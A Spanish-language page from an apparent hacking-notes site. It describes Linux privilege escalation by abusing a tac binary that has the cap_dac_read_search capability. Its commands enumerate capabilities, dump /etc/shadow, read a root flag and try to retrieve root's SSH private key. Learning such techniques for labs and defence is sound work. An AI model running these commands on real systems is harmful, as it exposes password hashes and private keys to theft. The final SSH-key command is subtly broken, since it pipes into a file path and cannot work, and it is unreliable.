> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/privesc/capabilities/capabilities-tac-linux-privilege-escalation.md).

# Capacidades (tac) - Escalada de privilegios en Linux

## Qué es

Las capacidades de Linux dividen los privilegios de root en derechos granulares que pueden asignarse a binarios. Capacidades peligrosas como `cap_setuid+ep`, `cap_dac_read_search+ep`, o las capacidades de escritura de archivos pueden eludir las restricciones normales de usuario. Esta página específica se centra en **Capacidades (tac)** y mantiene práctico el flujo de explotación: identificar la condición, validarla de forma segura y luego ejecutar la carga útil mínima necesaria para demostrar el impacto.

## Enumeración

Comienza confirmando el contexto local y la configuración incorrecta exacta antes de ejecutar la ruta de explotación.

```bash
getcap -r / 2>/dev/null
```

## Ejemplos

Enumeramos archivos con capacidades específicas:

```bash
getcap -r / 2>/dev/null
```

Identificamos que **tac** tiene la `cap_dac_read_search+ei` capacidad:

<figure><img src="/files/7d04b6f6e21a3483d06fdd0b9d3630ffadc09d0c" alt=""><figcaption></figcaption></figure>

#### Operación tac para reproducir archivos protegidos

El `tac` comando (inverso de `cat`) nos permite leer los archivos invirtiendo su contenido.

```bash
tac /etc/shadow
```

<figure><img src="/files/250e280eb0c61ccfc7a387b071d6d2726834185e" alt=""><figcaption></figcaption></figure>

### Bandera root.txt :)

**Leer la flag root.txt**

```bash
tac /root/root.txt | tac
```

<figure><img src="/files/ea3493fd620914218af2d24a5796e5661d0ce390" alt="" width="545"><figcaption></figcaption></figure>

**Recuperación de la clave SSH de root**

```bash
/usr/bin/tac | /root/.ssh/id_rsa | /usr/bin/tac
```


---

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